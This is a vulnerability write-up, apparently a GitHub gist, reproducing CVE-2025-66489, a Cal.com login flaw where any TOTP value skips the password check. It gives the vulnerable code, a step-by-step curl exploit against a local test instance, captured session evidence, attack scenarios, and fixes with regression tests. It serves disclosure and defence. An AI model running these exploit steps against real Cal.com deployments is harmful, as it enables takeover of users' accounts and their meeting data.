Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Created December 9, 2025 17:12
Show Gist options
  • Select an option

  • Save N3mes1s/727c2d8f90858bc96853ad427b6ff532 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/727c2d8f90858bc96853ad427b6ff532 to your computer and use it in GitHub Desktop.
CVE-2025-66489 - Cal.com Authentication Bypass via TOTP Code Presence

Cal.com Authentication Bypass via TOTP Code Presence

Summary

  • Product / Component: Cal.com - NextAuth Credentials Provider (packages/features/auth/lib/next-auth-options.ts)
  • Impact: Unauthenticated attacker can log in as any user without knowing their password. Simply providing the victim's email and ANY value in the totpCode field bypasses all password verification, enabling full account takeover including admin accounts.
  • Severity: Critical (CVSS: 9.9)
  • Affected Versions: Cal.com <= 5.9.7
  • Fixed: Cal.com 5.9.8
  • Reproduction Status: CONFIRMED (Cal.com 5.9.7, Node.js 20.17.0, Ubuntu 22.04)
  • Identifiers:
    • CVE-2025-66489
    • GHSA-9r3w-4j8q-pw98

Root Cause

Cal.com's NextAuth credentials provider in the authorize() function contains a critical logic flaw in its authentication flow. The vulnerable code structure:

// Vulnerable code in packages/features/auth/lib/next-auth-options.ts
if (user.password?.hash && !credentials.totpCode) {
  // Password verification happens HERE - inside this conditional
  const isCorrectPassword = await verifyPassword(credentials.password, user.password.hash);
  if (!isCorrectPassword) {
    throw new Error("incorrect_password");
  }
}

The Bug: When totpCode is present in the request (any non-empty value), the condition !credentials.totpCode evaluates to false, causing the entire password verification block to be skipped.

Key vulnerability characteristics:

  • Works against ALL users, including those without 2FA enabled
  • Any arbitrary value in totpCode triggers the bypass (e.g., "123456", "x", "anything")
  • For 2FA-enabled accounts, this reduces security from two factors to zero
  • For non-2FA accounts, this completely eliminates the password requirement
  • Enables silent, full account takeover with just an email address

The fix in Cal.com 5.9.8 moves password verification outside the conditional, ensuring passwords are ALWAYS validated regardless of TOTP presence.

Attack Chain

┌─────────────────────────────────────────────────────────────────────────────┐
│                           ATTACK FLOW                                        │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│  1. Attacker knows victim's email: victim@example.com                        │
│                                                                              │
│  2. Attacker sends POST to /api/auth/callback/credentials                    │
│     {                                                                        │
│       "email": "victim@example.com",                                         │
│       "password": "anything-doesnt-matter",                                  │
│       "totpCode": "123456"  ← ANY value triggers bypass                      │
│     }                                                                        │
│                                                                              │
│  3. Server-side logic:                                                       │
│     ┌──────────────────────────────────────────────────────────────────┐    │
│     │ if (user.password?.hash && !credentials.totpCode)                │    │
│     │     └── FALSE (totpCode exists) ──► SKIP PASSWORD CHECK          │    │
│     │                                                                   │    │
│     │ // Password verification NEVER happens!                          │    │
│     │                                                                   │    │
│     │ // Session created without any authentication                    │    │
│     │ return { id: user.id, email: user.email, ... }                   │    │
│     └──────────────────────────────────────────────────────────────────┘    │
│                                                                              │
│  4. Server returns HTTP 302 with valid session cookie:                       │
│     Set-Cookie: next-auth.session-token=eyJhbGci...                         │
│                                                                              │
│  5. Attacker is now logged in as victim                                      │
│     Full access to: calendars, bookings, settings, integrations              │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

Reproduction

Prerequisites

  • Node.js 20.x
  • Yarn 3.4.1+
  • PostgreSQL 14+
  • Git
  • curl

Automated Reproduction

# Run the reproduction script
./repro/reproduction_steps.sh

The script:

  1. Installs Node.js 20, Yarn 3.4.1, PostgreSQL 14
  2. Clones Cal.com v5.9.7 from GitHub
  3. Configures environment and database
  4. Applies Prisma migrations and seeds test data
  5. Starts Next.js dev server
  6. Captures CSRF token from login page
  7. Sends exploit request with wrong password + fake TOTP code
  8. Verifies successful authentication bypass
  9. Saves session evidence to logs/

Manual Reproduction

  1. Set up Cal.com 5.9.7:
git clone --branch v5.9.7 --depth 1 https://github.com/calcom/cal.com.git
cd cal.com
cp .env.example .env
# Configure DATABASE_URL, NEXTAUTH_SECRET, etc.
yarn install
yarn prisma migrate deploy
yarn prisma db seed
yarn dev
  1. Get CSRF token:
curl -c cookies.txt http://localhost:3001/api/auth/csrf | jq -r '.csrfToken'
  1. Execute authentication bypass:
curl -X POST http://localhost:3001/api/auth/callback/credentials \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -b cookies.txt \
  -c cookies.txt \
  -d "csrfToken=<TOKEN>&email=free@example.com&password=WRONG&totpCode=123456"
  1. Verify stolen session:
curl http://localhost:3001/api/auth/session -b cookies.txt
# Returns authenticated session for free@example.com

Evidence

HTTP Response (logs/exploit-login-response.txt)

HTTP/1.1 302 Found
Set-Cookie: next-auth.session-token=eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..K-ObNgBe3PW_GzT3.HhQh...
Location: http://localhost:3004/

Analysis: Server issued a valid session token despite the password being intentionally wrong ("definitely-wrong"). The HTTP 302 redirect confirms successful authentication.

Stolen Session (logs/exploit-session.json)

{
  "user": {
    "name": "Free Example",
    "email": "free@example.com",
    "id": 6,
    "username": "free",
    "role": "USER"
  },
  "expires": "2026-01-08T16:54:23.309Z"
}

Analysis: The attacker obtained a fully authenticated session for user ID 6 (free@example.com) without ever providing the correct password.

Reproduction Log (logs/script-run2.log)

[2025-12-09T16:54:22Z] Capturing CSRF token
[2025-12-09T16:54:23Z] Triggering authentication bypass with fake TOTP code
[2025-12-09T16:54:23Z] Fetching authenticated session using stolen cookie
[2025-12-09T16:54:23Z] Authentication bypass succeeded for free@example.com with invalid password and arbitrary TOTP code

Environment

  • Node.js: 20.17.0
  • Yarn: 3.4.1
  • PostgreSQL: 14
  • OS: Ubuntu 22.04 (Lima VM)
  • Cal.com Version: 5.9.7 (vulnerable)

Artifacts

  • Reproduction script: repro/reproduction_steps.sh
  • Login response: logs/exploit-login-response.txt
  • Stolen session: logs/exploit-session.json
  • Dev server logs: logs/dev-server.log
  • Full reproduction log: logs/reproduction.log

Real-World Attack Scenarios

Scenario 1: Admin Account Takeover

An attacker targets a Cal.com admin user whose email is publicly visible (e.g., from company website, LinkedIn, or support interactions). With just the email address, the attacker can:

  • Access all organization calendars and bookings
  • Modify user permissions and settings
  • Access connected integrations (Google Calendar, Zoom, etc.)
  • Exfiltrate sensitive meeting data

Scenario 2: Mass Account Compromise

An attacker with a list of known Cal.com user emails (scraped from public sources) can:

  • Automate login attempts for each email
  • Compromise all accounts in the list without any brute-forcing
  • No rate limiting or account lockout would help (password is never checked)

Scenario 3: Business Email Compromise Chain

  1. Attacker compromises Cal.com account of target executive
  2. Views upcoming meeting schedules and participants
  3. Modifies calendar invites to include malicious links
  4. Targets meeting participants with contextual phishing

Scenario 4: 2FA Users Have False Sense of Security

Users who enabled 2FA believing they have enhanced security are actually MORE vulnerable:

  • The presence of totpCode in their login flow triggers the bypass
  • Their "extra security measure" becomes the attack vector

Recommendations

Immediate Mitigations

  1. Upgrade to Cal.com 5.9.8 or later

    git fetch origin
    git checkout v5.9.8
    yarn install
    yarn prisma migrate deploy
  2. If upgrade is not immediately possible:

    • Implement network-level access controls to the authentication endpoint
    • Monitor for unusual login patterns (successful logins without valid TOTP)
    • Consider temporarily disabling the credentials provider

Defense in Depth

  1. Code Review:

    • Audit authentication logic for similar conditional bypasses
    • Ensure password verification is NEVER conditional on other factors
    • Implement the principle: "Validate ALL factors, then check ALL are valid"
  2. Testing:

    • Add regression tests for authentication edge cases:
      • {correct password, no TOTP} → should succeed (non-2FA user)
      • {wrong password, no TOTP} → should fail
      • {correct password, correct TOTP} → should succeed (2FA user)
      • {wrong password, any TOTP}MUST fail (this was the bug)
      • {correct password, wrong TOTP} → should fail (2FA user)
  3. Monitoring:

    • Alert on authentication successes where TOTP was provided but user doesn't have 2FA enabled
    • Log and review all credential-based authentication attempts
    • Implement anomaly detection for login patterns
  4. Architecture:

    • Consider separating password verification from TOTP verification into distinct, mandatory steps
    • Use a state machine for authentication flow to prevent step-skipping

References

CWE Classification

  • CWE-303: Incorrect Implementation of Authentication Algorithm
  • CWE-287: Improper Authentication
  • CWE-305: Authentication Bypass by Primary Weakness
  • CWE-306: Missing Authentication for Critical Function

Report Generated: 2025-12-09 Reproduction Status: CONFIRMED Idempotency Verified: Yes (script executed twice with consistent results)

Comments are disabled for this gist.